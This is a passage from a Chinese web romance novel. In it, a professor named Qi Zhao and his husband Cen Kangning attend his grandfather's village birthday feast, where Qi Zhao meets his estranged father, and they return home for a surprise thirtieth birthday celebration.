女人的语气却惊慌失措起来,她一把夺过祁未言手中的女儿,自己抱了起来,匆匆说:“祁钊来了,我带柔柔先走。” “……” 祁未言的笑意也同样僵在嘴角。 两分钟后。 父子俩在车前打了个照面。 要说这次碰面是纯粹偶然其实也不尽然,这里的停车位只有祁钊跟祁未言知道,其他来贺寿的人都停在村里的停车场,位置小又不好找。 但祁未言几乎是一到路口就看到那辆银灰色的特斯拉已经停靠在这里,所以祁未言本以为自己可能这次也没办法见到祁钊了。 不成想下车后一转身。 已经远比自己高了不少的大儿子就朝着自己的方向缓步靠近。 祁未言心情复杂:“小钊,你来了……” 祁钊看了祁未言一眼,眼神很淡,既没有把这个人当做一回事,也没有刻意地忽略这个人。 他跟自己搭话。 祁钊也就简单的回话。 “嗯。” 祁未言却显然不这么想,好不容易有父子俩独处的机会,没有前妻在,祁未言几乎是迫不及待地想要跟祁钊沟通一些话题。 “我听你妈说,你结婚了?” “对。” 祁钊道。 “是她给你介绍的相亲对象?”祁未言说着便有些生气,“太过分了,我已经打电话劝过她很多次,但她是一点儿也不听。” “……” 祁钊仍站在原地,思绪却控制不住地出了神。 他其实有些不太懂祁未言为什么说这些,如果祁未言是在事情发生的第一天就出现,也许祁钊还会有些反应。 毕竟那时的他是真的因为相亲这件事而感到困扰。 母亲日复一日的电话跟上门,让祁钊被迫打断了自己许多计划。 那时候祁钊也是真的很需要一个人出现来拦住母亲。 可距离这件事过去已经九个月零一十五天。 九个月零一五天祁未言都未曾出现过,九个月后的今天他忽然出现,说这些话,不觉得有些为时过晚了吗? 祁未言却不曾意识到这些。 仍然紧蹙着眉心,喋喋不休地讨论着关于祁钊婚姻的话题。 “小钊,你不能这么草率的进入婚姻,我曾经就是例子,太早的结婚,跟自己不相爱的人在一起,后来就会过得很痛苦。” “人生还很长,我已经是这样,你没必要。” “我听说,她给你介绍的对象还是一个孤儿?是看八字找的,专门来克我,真是离谱至极!太过分了,你——” “滴。” 特斯拉的后备箱被打开。 祁钊从后备箱冰箱里拿出仍旧保持着温度的多肉葡萄,随后冷静地合上了车门。 而祁未言看着儿子这样肆无忌惮忽视自己的行为,终于面上也多了一份怒火: “我说的话你到底有没有在听?” “听了。” 祁钊简短地道:“所以?” “所以你要跟那个人离婚。”祁未言目光笃定地道:“你要追求自己的幸福。” “像你一样?” 祁钊却看了他一眼,眼神很冷淡:“那我也有一个建议给你。” 祁未言愣了一下:“什么?” “多喝点符水吧。” 祁钊说。 说着他从口袋里拿出一张与被寄到岑康宁手里一模一样的黄符,面无表情拍在祁未言的手里。 祁未言的脸色果然在看到黄符后变得非常难看。 正欲发作,这时—— “钊哥,这里!” 远处田间一道清亮的声音忽然响起。而在这道声音出现以后,祁未言很快发现,自己那个除了对科研做实验什么都不太感兴趣的大儿子,竟然立刻就有了不一样的反应。 像是冰雪消融。 又像是机器人第一天有了生命。 这是…… “抱歉。” 祁钊又是留下两个字,匆匆离去。 这一次离开的速度却显然比上一回还快,简直快到职业竞走那种速度。 这样的速度下,果然两三分钟后。 祁钊就带着奶茶走到了岑康宁的面前。 岑康宁正站在田梗上,身边儿还跟着一只不知道哪里来的小黄狗。 小黄狗巴巴地摇着尾巴,四只脚丫子已经脏了。 岑康宁穿着新皮鞋的脚上却套了一双鞋套,鞋套虽然变得脏兮兮,里头的皮鞋仍完好无损。 对此他感到得意,眉飞色舞炫耀道:“孔博给我的,说是他多带了几双。” “好的。” 祁钊点头,说着把奶茶递给岑康宁,轻声:“等急了?” “倒不是特别急。” 岑康宁说。 他接过奶茶,随后递给祁钊一个还泛着些许青色的西红柿,已经被洗的干干净净。 “不过看到了这个,想着你肯定喜欢,就想拿过来给你。” 岑康宁又得意道:“可别小看它,是架子上最红的!绝对很甜。” 祁钊接过西红柿,仔细端详后确认,确实应该挺甜。 “谢谢宝宝。” 祁钊道。 “不用谢,礼尚往来嘛。” 说着岑康宁吸了一口多肉葡萄,感觉到冰沙果然没化,清爽的葡萄冰沙在舌尖化开,将午后的燥热驱散不少。 不过,他用余光瞥着正动作优雅生啃西红柿的祁教授。 另一种情绪却迟迟没能褪去。 “钊哥。” “嗯?” “刚刚那个跟你说话的人,是谁啊?”岑康宁状似漫不经心地开了口,咬着吸管,自己认为非常不明显,但实际上醋味早就已经漫了出来: “你跟他说了好久的话,都没看见我跟你招手。” 作者有话说: 吃醋吃到公公身上第一人[坏笑] 第68章 说不郁闷是不可能的。 岑康宁跟孔宇真聊了一会儿,在得知孔宇真的车上有鞋套后,立刻问孔博借了一双。 孔博倒是很慷慨,十分不吝啬地借了他一双鞋套的同时,还给他指了一条去来时停车场的小路—— 这小子记忆力奇佳无比。 拢共就来过两三回,就把这周围的路线环境全部摸得一清二楚,岑康宁一说路上有水坑,他立刻就知道是哪里。 “抄这条道去,保准我师兄发现不了,给他一个巨大的惊喜!” 岑康宁听完险些没把怀里的小黄摔下来:“胡,胡说什么,谁要给他惊喜了?” “不是惊喜,那就是抓/奸?” 孔宇真露出若有所思的表情,恍然大悟着拍手:“我懂我懂——” “你懂个屁。” 岑康宁离开后心想。 他只是想快点喝到多肉葡萄罢了。 毕竟两人上午出发,到村子里的时候差不多就是一点,正是紫外线最强烈的时候。 九月初旬的气温虽然比起暑假已经有所下降。 但晴天还是热。 尤其岑康宁过来以后也还没喝过水,就更热了,又热又渴的。这时候要是有一杯刚从冰箱里拿出来的多肉葡萄就最好不过了。 嗯,是因为这个理由。 自己才打算去找祁钊的。 岑康宁这样想着,抄着近道往停车的地方走,结果远远就看见祁钊在跟一个西装革履的男人说话。 因为距离的缘故。 岑康宁并没有看清楚男人的脸,只觉得对方身形适中,西装笔挺。 另外他的座驾是一辆极其低调奢华的加长款黑色迈巴赫。 正午光线下漆黑的车身把赛博皮卡比的都有些逊色。 心头不由得泛起异样的波澜,岑康宁站在田埂上,很冲动地朝着祁钊挥手,试图打断俩人的对话。 可万万没想到的是。 某人压根儿没看见! “谁啊,聊得这么专心?” 岑康宁很不是滋味地想。 又是一个追求过他的“弟弟”? 却见祁钊慢条斯理,先是不紧不慢地吃完了西红柿,随后从口袋中掏出一张纸巾来,先是给自己擦手。 擦完手后又拿出一张新纸巾,给岑康宁擦擦嘴边的葡萄沙冰,擦完后才淡淡的说: “是我SRY基因的提供者。” 岑康宁:“??” “欺负我不懂生科是吧?”岑康宁气得磨了磨后槽牙,但很快面上浮起一丝得意:“可我虽然不懂生科,但懂逻辑。” “人的基因一共者一般就两位,父亲母亲。” “阿姨根本没来。所以……他是祁院长。” 岑康宁轻声说出了男人的身份,目光炯炯看着祁钊:“对吗?” “对,宝宝很聪明。” 祁钊垂着眼,语气平静:“是他。” “我就说——” 岑康宁松了口气的同时,另一口气却复杂地提了上来。 他想到方才孔宇真跟他八卦的聊天。 原来祁未言如今正处于第三段婚姻,方才那位男青年是他第二段婚姻中的继子。 并且,在第三段婚姻中,祁未言还又有了一个亲生孩子。 岑康宁感到窒息的同时,用眼尾的余光紧张地瞥着祁钊,试图看出这张平静的脸上有没有多余的情绪。 答案是没有。 可就是因为没有,岑康宁的心里才不是滋味。一个人到底该有多么失望,才能对亲生父亲的出现毫无情绪? 一想到祁未言也许还不是一个人来的。 窒息感再度袭来。 岑康宁深吸了一口气,晃晃脑袋,不再让这件事打扰自己的心情,转头对祁钊笑着说: “钊哥,好不容易来一趟村里,空气这么好,要不要跟我一起到处逛逛?” “好。” 祁钊答应。 其实村里并没有什么可逛的风景,对于常年生活在城市里的人也许感到稀奇,但六岁以前岑康宁就住在这样的小村庄,所以周遭的一切都见怪不怪。 不过他还是第一次跟祁钊走在这样的环境里。 因此一切又变得有些不一样起来。 走到一处农田的时候,看到还没冒出头的土豆苗,岑康宁起了跟祁钊显摆的心。 毕竟平日里都是祁教授显摆。 好不容易来到农村小孩儿主场,岑康宁故意问他:“祁教授,你知道这个是什么吗?” 他心里捏着答案,等着祁钊老实认瘪。 可没想到有人浅浅扫了土豆苗一眼后,便语速飞快道:“兴佳二号T-75型亚种马铃薯,抗毒抗病产量稳定。” 岑康宁:“……” “我不信。” 岑康宁咬牙切齿。 他不信连祁钊竟然连这一点都胜过自己,肯定是瞎编的吧? 祁钊:“真的。” 岑康宁:“还是不信,不然我们来打赌?” 祁钊:“可以,赌什么?” 岑康宁:“这个……”岑康宁的语气里多少有些迟疑,毕竟虽然是他主动提出的打赌,可祁钊看上去实在是太自信了。 万一博学广闻的祁教授真的知道呢? 岑康宁心里正打着鼓。 祁钊却已经想好了赌约,低声道:“要是我赢了,你签协议。” 岑康宁:“……” 片刻后有人恼羞成怒,开始耍赖皮。 “不赌不赌,傻子才跟你赌,赌赢了我半点儿好处都没有,输了有我的好果子吃!” 岑康宁不顾形象,捧着奶茶带着小黄狗一溜烟儿跑远,浑然忘记了方才明明是自己主动要赌。 祁钊站在他身后不远处看着某人撒欢的背影。 虽然被鸽了,但心情半点儿不坏。 平日里冷硬的唇角噙着一抹淡淡的笑意,从方才遇到夏禹开始变得很一般的心情,仿佛又重新活了过来。 岑康宁不知道的是。 祁钊实际上是在作弊。 他对农科事实上的确一无所知,也没什么兴趣了解,可偏偏这片儿地里种下的东西,祁钊有过一次被迫了解的经历。 那应该是在二十年前发生的事。 那一年,祁钊十岁。 那年的爷爷还没退休,但对于农村生活的向往已经初显端倪。 祁耿过生日要在农村过,这事儿第一个反对的人就是母亲。刘海俐在电话里反复抗议,奈何反对无效,到了那天仍是准时带着祁钊与司机出席。 “算了,我们还是对老头子殷勤点儿,毕竟你是他唯一的亲孙子。” “你以后要继承你爷爷的家业,气死你爸在外头的狐狸精,知道了吗?” 车上母亲对祁钊反复地耳提面命,祁钊听了两句,后续通通没有在听。 车在那时还不算平坦的山间道路上行驶着。 疙里疙瘩起起伏伏。 祁钊就在这样的环境下看完了一本《天体物理学》,正要打开下一本《天体天文学》的时候,车忽然停下。 母亲攥紧他的胳膊,目光仇恨地看着车窗外的人影。 “……” 又过了一会儿。 两人下了车。 母亲领着他到了爷爷的住所后,没怎么顾得上再教育他,径直冲向了父亲。 不多时两人吵架的声音传来。 “祁未言你不要脸!” “我怎么就不要脸了?” “你才跟我离婚多久,竟然就把别的女人跟孩子带回你爸这儿来了,你把我当什么,把你儿子又当什么?” “刘海俐我劝你冷静冷静,我们离婚已经四年,难道你要我永远单身?” “谁要你单身了?现在我骂的是你不要脸,把狐狸精带回家的事情。” “我警告你尊重一点,曾瑶现在是我的法定妻子,绝不是你口中所谓的狐狸精……” 祁钊终于听厌了。 每次见面都是这一套,没什么意思。 祁钊转身挪动脚步,决定去找爷爷,看看他那边儿有什么有意思的事情。 很遗憾的是。 并没有。 从前偶尔找到爷爷的时候,爷爷会给他讲讲主动脉夹层全弓置换术,虽然祁钊还是不怎么感兴趣,但无聊的时候倒是勉强可以聊以慰藉。 然而今天没退休的祁耿医生正在给人做义诊,慈眉善目的老头子身边围了一大堆男女老少。 老爷子也是乐在其中。 给人看诊分文不取不说,还给人贴钱买药。 难怪这儿这么热闹,大有十里八乡的人都汇聚在一起的架势。 只是祁钊更无聊了。 大人们都在忙着自己的事情。 忙着吵架,忙着看病,唯独当年还十岁的祁钊没什么好忙的。 他的《天体天文学》被放在了车上,刘海俐绝不允许他带下车,祁钊也没带电脑手机。 于是总是感觉时间不够用的祁钊也终于有一天认为时间太漫长。 无奈下。 他开始站在田埂上听一个人推销自己的马铃薯品种。 “我们这个是兴佳二号,跟普通的土豆品种比起来,产量要高三分之一……” 祁钊不是故意要记住的。 奈何记忆力太好,根本没办法忘记。 兴佳二号就这么被他记住,一记就是二十年。 入行科研以来祁钊一向奉行一个观点:没有没用的知识,只有不合适的知识使用时机。 这一点在他过去的科研经历中得到过大量印证。 然而唯独兴佳二号这个知识点。 很多年没有用上过。 它藏在记忆的角落里,被时间蒙上了一层厚重的灰尘,存在感小到连祁钊这个主人都快要忘记。 直到二十年后的同一天,有人轻而易举地吹开了那层灰,并要求就此打赌。 虽说后来他又赖掉了。 祁钊垂眸低笑了声,连他自己都没想到多年前的一个知识点能派上用场竟然让他这么情绪波动。 倒也没顾得上深思。 毕竟不远处,某个刚刚才赖账逃跑的家伙又出现了新问题。 岑康宁正站在一片儿田埂面前,动也不动,紧张无比地盯着眼前的生物,浑身鸡皮疙瘩再度冒了出来。 “蛤(ha)蟆大哥别跳啊——” “求你了千万别跳。” “汪汪汪!” 小黄狗非常给力地朝着蛤(ha)蟆大叫着。 可这一举动非但没有如同想象中让蛤(ha)蟆大哥败走,反而似乎是激发了大哥的好胜心。 “呱——” 大哥鼓起腮帮子,中气十足朝着岑康宁大叫一声,随之后腿给力,跃跃欲试。 岑康宁心里喊了声:“完了!” 他闭上眼,颇有种破罐子破摔,生死看命的态度。 但下一秒。 黏黏糊糊的恶心感并没有出现,反而是整个人被忽然打横抱起,三两步跨过了蛤(ha)蟆大哥的领地。 熟悉的海盐柠檬沁入口鼻。 岑康宁半梦半醒似的睁开眼。 一睁眼果然,一道优越无比的完美下颌线率先映入眼帘。 岑康宁盯着他的下颌线,倏而又盯着他颜色浅淡的嘴唇,想,怎么会有人这么完美,连下颌线都长得这么英俊,又会公主抱,还懂地里的马铃薯。 上帝到底对他关上了哪一扇窗? 不等岑康宁想出个答案来,完美下颌线拥有者低头看了他一眼,眼神一如既往地轻描淡写:“还赌吗?不赌我放你下去。” “……” “赌赌赌!赌好吧!”岑康宁气愤不已地把男人的脖子搂紧,恨不得一口咬在这人的脖子上。 他要收回刚刚的话。 这人不是完美,就是纯不要脸。 可要是论起不要脸的话,岑康宁自己也不遑多让。 现在答应一下怎么了。 大不了回去以后继续赖账。 想到这里岑康宁面上多少多了几分狡黠得意。而众所周知,人的道德底线一旦滑坡,那就是滑坡永无止境。 这不,岑康宁打定赖账的主意以后愈加得寸进尺起来。 “老公——” 他换了个称呼叫祁钊。 祁钊应了,但也难免眉心一跳。 毕竟这位祖宗每回叫老公,就意味着又有新命令。但这回又是什么呢? 人现在在他怀里。 脚完全没沾地。 甚至手里还提着一杯奶茶,刚喝没两口。 还有什么要求没得到满足? 岑康宁哼哼唧唧地开了口,东扯西扯了一大堆,最后核心就一个—— 他忽然想起来今天晚上零点有个重要的游戏更新。 这个游戏更新真的真的很重要,会发一大堆的更新奖励,还有限定皮肤道具。 所以他能不能赶在零点前回去? “虽然这么做好像有点儿对不起爷爷,但是我们给他过完寿以后再赶回去,时间上应该也是来得及吧?” 岑康宁方才已经跟孔宇真打听过接下来的安排,得知等人差不多来齐以后,傍晚时刻会有一个简单的寿宴。 就是最普通的宴席,一人一碗面条的那种。 但大家出于对祁老的尊敬,都会留下来吃完这碗面。 宴席结束以后大约晚上八点,这个时候一般来贺寿的人比如孔宇真跟他的老师就会寒暄几句告辞了。 现场还会有一些跟祁老关系相熟的多留一会儿,但最多最多,不会留到九点以后。 老人家九点以后就要睡觉了。 早睡早起身子骨才硬朗至今。 但孔宇真也说了:“这是普通客人的规矩,不知道家里人会怎么样,我看小院儿还有两间空出来的平房,也许是留着给家人留宿的?” 孔宇真不清楚。 岑康宁也不知道。 但岑康宁试探性地问祁钊,决定如果祁钊拒绝在零点前回家的话,就启动自己的第二套备用方案。 然而没想到的是。 对岑康宁幼稚且不懂事的要求,祁钊完全没有任何犹豫,几乎是立刻就答应。 “本来也不会留到明天。” 祁钊说。 他又补充:“今年房间恐怕不够。” 岑康宁愣了下,一开始不知道为什么祁钊会这么说,直到两人在村子里转了一大圈回到祁老家里。 祁未言的身边跟了个约莫六七岁的小姑娘,小姑娘长得水灵灵的,模样里还有几分祁钊的影子。 这么小的小姑娘。 大人们自然都还是逗着她开心,祁老自然也不例外。 再看一眼院子里,拢共三间平房。祁老自己住一间,一间是保姆住的,可不是不够? 岑康宁心里有些不是滋味。 垂着眼正若有所思的时候,感觉到身边儿的祁钊捏了他手心一下。 “怎么?” “你看——”祁钊用目光示意着岑康宁看不远处的一个蛇皮袋子。 岑康宁眯起眼定睛一看,只见那蛇皮袋上赫然写着四个大字: “兴佳二号。” 岑康宁:“……” 过了一会儿。 有人又气又臊: “先把我准时送回家再说吧,零点前哦,过了零点我就领不到那波游戏福利了。领不到游戏福利的我可是会生气的,我生气你还没见过吧,非常恐怖?” 祁钊对此表现地十分淡定。 唯独只是在寿宴结束后,跟祁耿道别前,问祁耿要了一杯咖啡喝。 “这个点儿喝咖啡干什么?” 平日里早就困得眼睛睁不开,今天却因为奶茶精神抖擞,目光矍铄的祁耿好奇看着孙子。 却见祁钊微微一勾唇:“晚上开车,提神。” 祁耿遂提供给孙子一大杯纯美式。 “晚上开车前往小心点,不要疲劳驾驶,道路千万条,安全第一条……” 祁钊:“知道了。” 祁耿微笑着看孙子将美式一口灌下。 “我走了,爷爷。” “走吧走吧——” 祁耿挥挥手,终于开始打了个哈欠,感觉到困意来袭。 祁钊最后又再看了爷爷一眼,看到他虽然迟缓不少,但硬朗如常的动作,顿了片刻后,果断转身离开。 两小时后。 cyberturck准时准点停在公寓停车位上。 距离岑康宁规定好的零点,还差最后五分钟。 “快快快,我先上楼了,急着游戏更新!” 车才刚一停下,岑康宁就迫不及待地甩开安全带往电梯口跑。 他的身后,祁钊则一如既往地,把车完全停好后,又检查了一遍车里。 确认岑康宁没有把任何东西落在车上以后,祁钊方上了电梯,一边等着电梯上行,一边思索待会儿如何在岑康宁打游戏的时候处理今天没能处理的实验数据。 岑康宁打游戏的上头一般会维持两小时。 考虑到他已经在车上睡了一觉的原因,再加上今天游戏更新,恐怕会更久。 那就三个小时? 熬夜到三点。 差不多也够祁钊处理完所有数据的同时,再看两篇文献。 祁钊安排结束,正好电梯也抵达终点。 叮的一声电梯门打开。 像是平日里最普通不过的每一天一样,祁钊准备用指纹开锁,然后直接换鞋进书房。 然而当他伸出手指。 门却忽然从内部被打开。 随后,“砰——”的一声,五颜六色的彩带忽然在眼前炸开。 说好了要去打游戏的岑康宁穿着很可爱的猫咪睡衣,带着满脸的笑意在漫天飞舞的炫丽彩带中出现。 他的手里拿着礼花筒,身后则摆着一张巨大无比的横幅。 印着祁钊证件照的横幅用色彩缤纷的字体写着四个大字: “生日快乐。” 心跳暂停了半秒的同时,祁钊听到岑康宁带着笑意的声音响起: “三十岁生日快乐,钊哥,恭喜你,人生游戏迎来史诗级别更新!” 作者有话说: [猫爪][比心] 第69章 九月十四号。 为了这一天,岑康宁谋划已久。 最早可能要追溯到一个月前,八月十多号的某一天,那天他在图书馆上班,忽然心血来潮,查看祁教授的百度百科。 本意是想瞻仰一番祁钊多年的科研成果,给自己找虐。 结果目光一下子落在百科的个人资料上。 “呦,生日快到了?” 他看着百度百科上祁钊的出生年月想。 不过百度百科的可信度有多少?岑康宁不敢确定。 后来他趁着祁钊不在家的时候,偷偷看了眼俩人的结婚证,随后确定了,就是九月十四号没错。 祁教授竟然是处女座。 跟他不太搭。 岑康宁有些遗憾。 不过岑康宁没遗憾太久,很快他的心思全部被一个月后的祁钊三十岁生日自己该送什么礼物所占据。 “要送生日礼物的吧。” 岑康宁觉得。 毕竟他都收了祁教授这么多礼物,不回送一个不合适。 可是送什么呢? 岑康宁暂时没想好,只是确定了,一定要帮祁钊庆祝这个不太一样的三十岁大寿。 后来计划曾被暂时中断过。 因为刘海俐的那碗“长寿面”。 岑康宁差点以为自己真的错过了祁钊的三十岁生日,毕竟那时他的礼物还没完全准备好。 但那天后来的经过让岑康宁意识到,祁钊其实并不期待那样的一个生日。 他感到一丝庆幸的同时,也有些心疼祁教授。 再后来,计划却再度有变。 原来十三号就是祁钊爷爷的寿宴,知道这件事的时候岑康宁把十四号当天的各种生日装饰都买好了。 那几天他收了许多快递。 彩带,横幅,气球。 岑康宁想用自己的方式给祁钊过一个热热闹闹的生日。 可爷爷的八十岁寿宴祁钊不可能缺席,早早答应了刘海俐的岑康宁自己也不能。 岑康宁只好吞下这个哑巴亏。 并做了接下来的打算。 他有两个打算。 一个计划是两人当天去,当天回。 只要能够赶在十四号凌晨回来,岑康宁就能提前让管家帮忙把房间布置好,顺利完成他的“惊喜”。 另一个计划则是当天回不来,要住在爷爷家里。 这种情况有点麻烦。 岑康宁毕竟不好在长辈家里太过张扬。 但岑康宁也有计划。 虽然不能大张旗鼓,但等到两人独自在一起的时候,可以偷偷定生日蛋糕,可以偷偷送生日礼物。 甚至还能…… 万幸,备用计划最后没用上。十三号的最后几分钟,岑康宁还是准时回到了公寓。 公寓管家很给力。 各种装饰已经帮岑康宁布置好了。 岑康宁紧赶慢赶回到房间,第一件事是换衣服。 他那天对玉姐说了谎,那套衣服的确不合适在爷爷寿宴的时候穿,却很适合在祁钊生日的时候出现。 祁钊更喜欢小猫。 岑康宁就把兔子款换成了猫咪款。 穿上毛茸茸的睡衣,岑康宁其实有点儿不太好意思,感觉自己好像变成了一个幼稚的小朋友。 小朋友还忽然长出了毛茸茸的耳朵与尾巴。 但这种害羞的感觉其实并没有维持太久,因为时间很紧迫,岑康宁要立刻拿着彩花炮站在门口迎接寿星。 几乎是换好衣服的一瞬间,岑康宁就跑到门口拿起礼花炮,生怕耽误了一丁点的时间。 幸好,他赶上了。 祁教授推开门的一瞬间,岑康宁正好就拿着礼花炮出现,按下了引信。 幸好幸好。 三十岁生日的这天,终于一切都还是来得及。 “三十岁生日快乐,钊哥,恭喜你,人生游戏迎来史诗级别更新!” 零点时分刚到,岑康宁说出了这句他在路上准备好的祝福。 一气呵成,没有任何卡顿。 说完甚至有些得意,看看,我是不是很聪明?说游戏更新也不是在骗你。 但祁钊的反应却…… “钊哥??” 岑康宁原地等了一会儿,没等到回应有点儿尴尬。 这种时候,祁教授不该热泪盈眶地扑上来,说谢谢宝宝准备的惊喜吗? 哪怕祁钊的个性内敛。 但至少也得说声谢谢吧。 还是说,此人有惊喜过敏症? 岑康宁不满地看了祁钊一眼,与此同时感觉到嘴里好像飘了个彩带进去,于是低头呸了两下,想要把彩带呸出去。 结果刚呸了一声。 有人靠近,捧起他的脸。 岑康宁脸一热,眼睫颤抖,不自在地偏了偏脸,想要躲开那道灼热的视线:“干嘛啊?” 其实这个动作出现。 岑康宁已经有所预期。 毕竟除了接吻,有什么事需要捧脸? 可果真等那一刻来临的时候。 岑康宁依然控制不住地紧张,紧张到近乎心脏骤停。 下意识地,岑康宁想逃,可被人捧着脸了,又能逃到哪里? “可以吗?” 祁钊问。 岑康宁脸已经红透了,连带着耳根子都红,薄薄的脸颊眼皮更是烫的不像话,随手扔上去个鸡蛋都能烫熟的情况下,祁钊居然还问? “……装什么绅士,你昨晚动我的时候怎么不问?” 祁钊说:“我问了。” “你……” 岑康宁本想说,你撒谎,什么时候问了?分明就是忽然袭击,臭不要脸。 但接下来的话通通没能说出口。 因为祁钊并没有等到他正式答应,而是直接将唇覆了过来,趁着他张嘴说话的功夫,轻轻咬住了他的舌尖。 “……” 两人其实不是没亲过。 最亲密的事情都发生过不止一次,怎么可能没亲? 不过从前的亲吻都是浅尝辄止的,在额前,在脸颊,在胸口…… 与其说是接吻。 不如说只是情难自禁。 今天是第一次,没有任何其他情况下的接吻。单单只是接吻,唇舌纠缠在一起,互相交换津液。 岑康宁整个人都被亲软了。 软成一滩水,酥成一道点心。 整个人无力地靠在男人怀里,嗓子眼里发出平日里绝对不会出现的,难为情的声音。 亲了一会儿发现呼吸不过来。 开始换气。 换气没多久,又被按在沙发上亲,嘴巴都要亲肿了,还不肯放开。 但亲久了以后岑康宁也难免从最开始的沉迷状态开始恢复一些理智。 比如说现在他就很不满意。 于是把人反压制在沙发上后,喘息着,十分强硬的开始事后“审讯”。 “这么会亲,有经验?” “没有。” 祁钊目不转睛地看着岑康宁被亲的红润异常的唇,语气十分笃定。 岑康宁却睁圆了一双桃花眼,说:“我不信。” 毕竟岑康宁还见识过某人第一次上/床。 那个场面,可以说相当之惨烈。 也是亏得祁钊后来很坚持的证明自己学习能力,否则就第一天晚上祁钊这个表现,岑康宁绝对不可能跟他有什么后续。 第一次上/床这样。 结果第一次接吻这么熟练? 骗鬼呢? “快说,有没有前任。”岑康宁作势威胁他。 祁钊说:“真的没有。” “那你怎么这么……” 会亲。 岑康宁没好意思把话说全。 祁钊哑着嗓子解释:“我有提前学习。” “哈?” 岑康宁愣在原地,眨了眨眼。 祁钊说:“真的,可以给你看证据。” 岑康宁:“行。” “在我手机上。” 祁钊道。 岑康宁于是视线半信半疑地落在在两人纠缠中被掉落在地毯上的手机上。 熟练使用000000解锁屏幕后。 祁钊示意他点开自己的某视频平台历史记录。 岑康宁照做后,只见排在最前列的赫然是一个“初吻教程”。 岑康宁:“……” 祁钊感受着岑康宁手上陡然一松的力度,又看到他脸上骤然浮现的红晕,觉得颇为好笑。 “信了吗?” 岑康宁还是不说话,把头猛地埋在祁钊的胸口后,半晌从嗓子眼里哼哼唧唧憋出一个“嗯”字来。 祁钊轻轻捏着他睡衣后面毛茸茸的小尾巴,还嫌不够似的,又补充:“没有跟别人亲过,只有你。” 岑康宁听得脸愈发热,觉得再接着问这个问题就是自己自找苦吃,便忽然又抬起脸来,咬着唇转移话题: “那你从什么时候开始学的?” “最早吗?” “对,最早。” 岑康宁一眨也不眨地盯着祁钊深邃漆黑的眼,自己也没意识到自己此刻的表情是多么的执拗。 祁钊却显得并不在意,仿佛故意纵容着岑康宁的执拗一般,很云淡风轻地说出一个时间。 “7月9号,凌晨三点。” “7月9号……”岑康宁低声呢喃着着这个日期,往前不断推导,忽然他意识到什么,整个人身体一僵,震惊: “不就是你被下药后的第二天?” “嗯。” “……” 从那一天就开始看接吻教程了吗? 岑康宁瞳孔放大,感到震惊的同时,后知后觉地,感觉到身后睡衣的尾巴连带着尾巴骨都被捏了一下。 “干什么?!”被捏尾巴了,他佯装生气。 “继续。” 祁钊说。 继续什么不言而喻。 从刚刚开始岑康宁就一直被顶着,他坐在人身上被硌的不舒服,费了老大的力气才勉强忽略。 本意是想趁着男人最脆弱的时候好好“审问”他一番,可如今审问的结果已经出来了,岑康宁却仍旧不愿意松口。 “不行,我还有礼物没送。” “蛋糕你也没吃,愿望也没许!” 仪式感很强的岑康宁瞬间恢复理智,整只猫嗖地一下从祁钊的身上爬了起来,随后懊恼地抹了抹已经有些红肿的嘴唇,心想,早知道要亲,他回来先刷个牙就好了。 但没办法,事情已经发生了。 而且还发生的这么猝不及防。 岑康宁懊恼也没用,于是决定从下一步开始,严格执行自己的生日计划。 “先切蛋糕吧。” 岑康宁说。 祁钊这时也从沙发上站了起来,看得出来他有点儿难受,但还好,勉强算是能够忍受的范围里。 不过岑康宁说起蛋糕的事情。 祁钊想到自己随身携带的氯雷他定已经许久没有补充。 为了不扫兴,让今天晚上难得的三十岁生日完美度过,祁钊决定去药箱里再拿一瓶新药。 可等他服下一片氯雷他定走过来以后,才发现摆放在客厅茶几上的蛋糕并非自己想象中的奶油蛋糕。 眼前的这款蛋糕没有任何奶油,面粉。 只由西兰苔与小番茄作为原材料。 西兰苔做蛋糕体,切开的小番茄在成片的西兰苔上,摆出一张大大的,红色的笑脸。 “怎么样?我亲手做的‘蛋糕’,喜不喜欢?” 祁钊目不转睛地看着这款特别的“蛋糕”,除了喜欢,再没有第二句话来形容此时此刻的心情。 “喜欢。” 他低声说。 岑康宁于是又满意地不知从哪里变出一个魔术生日蜡烛来:“喜欢就好,来先许愿。” 说罢岑康宁先是用语音控制将客厅里的灯全部关掉。 随后才用打火机将生日蜡烛点燃。 砰的一声,魔术一般,那莲花状的蜡烛由内而外的盛开,露出其中其中两个数字,30。 这蜡烛竟然还自带BGM。 熟悉的生日快乐响起,岑康宁便也顺势拍着手,轻声地哼唱出来。 “祝你生日快乐,祝你生日快乐……” 吟唱声中。 祁钊闭上了双眼,许下了也许是人生中的第一个生日愿望。 啪,蜡烛燃尽了,光明重回客厅。 岑康宁看到祁钊睁开眼想说什么的样子,立刻把人的嘴巴捂住:“别说别说,愿望说出来就不灵了。” 但祁钊顿了顿,道:“不是要说。” “那你是?” “饿了,想吃。” 祁钊看着茶几上很合自己胃口的蛋糕,如是道。 岑康宁自然不会阻拦。 毕竟这蛋糕设计出来就是专门为了给祁钊吃的,不吃浪费。 不过他转念又想到,祁教授是该饿了。 下午那会儿在农村,寿宴是面条,味道一般。岑康宁倒还是勉强吃了一碗,祁钊是半口都没动。 好在刘海俐没在。 也没人逼他。 不过这样的后果就是算下来,祁钊已经接近十个小时没吃东西。 人是铁饭是钢。 虽然祁钊在吃东西这方面异常挑剔。 但三餐一般都还是准时吃的。 这个点儿也是该饿了,岑康宁想,不过他又看了眼自己的纯天然蛋糕,问:“够不够啊?要不要煎一点牛排或者三文鱼?” 答案当然是不够。 祁钊撸起袖子,自己走进厨房。 岑康宁乐得不用自己动手,本来还说今天祁教授过生日,把他伺候的服服帖帖。 但祁钊既然坚持。 他倒也不用太殷勤。 正好回来的太匆忙,岑康宁想洗个澡先,就心安理得的让祁钊自己去厨房准备宵夜,自己则身一转,回去洗澡更衣。 只是洗完澡后出来发现,饭桌上除了西蓝花蛋糕与牛排以外,还多了一碗热气腾腾的麻辣牛肉面。 料包放的很足。 红油鲜香,面碗上方盖了一个形状完美的荷包蛋,里面还有致死量的青菜跟牛肉卷,咕嘟咕嘟冒着热气。 “咕——” 岑康宁瞬间听到自己肚子也叫了一声。 “老公真棒!” 他眯起桃花眼,不吝地夸奖着祁钊。 “要可乐吗?” 祁钊又问。 “要,当然要了。”岑康宁一屁股坐下开始吃面,乐得当大爷。 冰可乐旋即被呈了上来。 放在岑康宁的手边。 帝王般的待遇让岑康宁十分舒心,尤其是祁教授这碗泡面不知道怎么煮的,竟然如此成功。 面条筋道不说。 所有的食材熟透的时间也是刚刚好。 肥牛卷肥而不腻,青菜爽口,荷包蛋带着一丢丢溏心。 岑康宁给吃爽了。 简直大有再来一碗的冲动。 结果再来一碗的要求还没说出口,手边又被递了一块儿草莓芝士蛋糕。 